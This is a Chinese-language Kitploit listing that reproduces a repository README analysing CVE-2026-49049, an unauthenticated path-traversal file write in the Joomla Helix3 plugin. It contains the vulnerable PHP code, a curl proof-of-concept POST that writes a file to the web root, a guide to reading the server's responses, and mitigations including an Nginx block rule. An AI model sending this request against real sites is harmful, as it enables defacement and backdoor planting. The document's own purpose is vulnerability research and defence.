Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-49049 — 技术分析和概念验证 (PoC) 针对 CVE-2026-49049,Joomla 的 JoomShaper Helix3 中存在的一个未经身份验证的任意文件写入漏洞,包括利用向量和缓解指南。 | Kitploit
工具/GitHubGitHub/dr-d25/cve-2026-49049
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育
GitHubdr-d25/cve-2026-49049

CVE-2026-49049

技术分析和概念验证 (PoC) 针对 CVE-2026-49049,Joomla 的 JoomShaper Helix3 中存在的一个未经身份验证的任意文件写入漏洞,包括利用向量和缓解指南。

查看仓库
1个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-49049 漏洞研究:JoomShaper Helix3 (Joomla) 中的未认证任意文件写入

该存储库包含针对 CMS Joomla 的 JoomShaper 过时模板框架 Helix3(版本 1.0 至 3.1.0(含))中发现的严重漏洞 CVE-2026-49049 的相关材料、技术分析和概念验证 (PoC)。

该漏洞正在被自动化僵尸网络积极在野外利用(特别是在 AntonKill 破坏活动中)。


🔬 漏洞技术分析

问题出在 Joomla 的系统 AJAX 处理器 (com_ajax) 上,它调用了 plg_ajax_helix3 插件中的 onAjaxHelix3() 方法。组件开发者未考虑:

  1. 用户身份验证检查(认证绕过)。
  2. CSRF 令牌检查。
  3. 处理 layoutName 参数时的路径遍历验证。

存在漏洞的 PHP 代码逻辑:

root@kitploit:~
public function onAjaxHelix3() {
    \$input = Factory::getApplication()->input;
    \(data  =\)input->post->get('data', [], 'array');
    \(action =\)data['action'];
    \(layoutName =\)data['layoutName'];

    // Отсутствует проверка прав! Отсутствует фильтрация пути!
    \$filepath = \(layoutPath .\)layoutName; 

    switch (\$action) {
        case 'save':
            // Запись контролируемых данных в произвольную директорию сервера
            fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
            break;
    }
}

🛠 概念验证 (PoC)

为了验证漏洞,使用内容类型为 application/x-www-form-urlencoded 的 POST 请求。这种参数封装方法对于演示漏洞最为有效。

攻击向量(cURL 命令):

root@kitploit:~
curl -sk -X POST \
  'https://target.com' \
  -d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'

传输数据详细解析:


🎯 服务器响应分析(验证方式)

在进行渗透测试时,服务器可能会返回不同类型的响应。对这些响应的解读至关重要:

情况 A:漏洞成功利用(文件已写入)

服务器响应:

root@kitploit:~
{"success":true,"message":null,"messages":null,"data":[]}

解读: 插件存在漏洞,无操作系统限制。文件已成功创建在网站根目录,可通过 https://target.com 访问。站点需要立即清理和隔离。

情况 B:插件存在漏洞,但操作系统保护机制触发

服务器响应:

root@kitploit:~
{
  "success":false,
  "message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
  "messages":null,
  "data":null
}

解读: 部分成功。 Helix3 插件逻辑被破坏——它未经认证就接受了数据,并尝试打开文件进行写入 (fopen)。然而,Linux 操作系统阻止了此操作,因为 Web 服务器用户(例如 www-data)没有对网站根目录的写入权限。

情况 C:系统受到保护(已更新或已删除)

服务器响应: 状态码 404 Not Found、403 Forbidden 或空响应 []。 解读: 插件已更新到安全版本(3.1.1+,其中添加了身份验证检查),或已从 CMS 中完全删除。


🛡 威胁缓解与消除

  1. 更新/删除: 将 Helix3 更新到 3.1.1 或更高版本。如果不再使用该框架,请通过 Joomla 管理面板完全删除 plg_ajax_helix3 插件。
  2. WAF 层保护(Nginx): 添加规则以阻止恶意 POST 请求:
    root@kitploit:~
    if (\(request_method = POST) { set\)test "P"; }
    if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
    if (\$test = PH) { return 403; }
    

免责声明:本材料仅供教育目的和合法的系统安全审计(渗透测试)使用。作者对不当使用所提供信息的行为不承担任何责任。

下载工具
参数值/示例对服务器的含义
optioncom_ajaxJoomla 处理 AJAX 请求的入口点。
pluginhelix3系统标识符,强制 Joomla 将控制权传递给易受攻击的 Helix3 插件。
formatjson指示引擎以 JSON 格式返回响应。
-ddata[...]请求体(表单数据),由 PHP 自动解释为全局 $_POST 数组。
data[action]save代码中的 switch 切换。指示插件调用 写入(创建)文件 函数。
data[layoutName]../../../../../../../example关键攻击向量(路径遍历)。../ 字符强制操作系统从插件的隔离文件夹跳出到网站根目录。插件会自动添加 .json 扩展名。
data[content]{"probe":"test"}有效载荷。实际写入所创建文件 example.json 的文本数据。在真实攻击中,会注入恶意破坏代码或后门。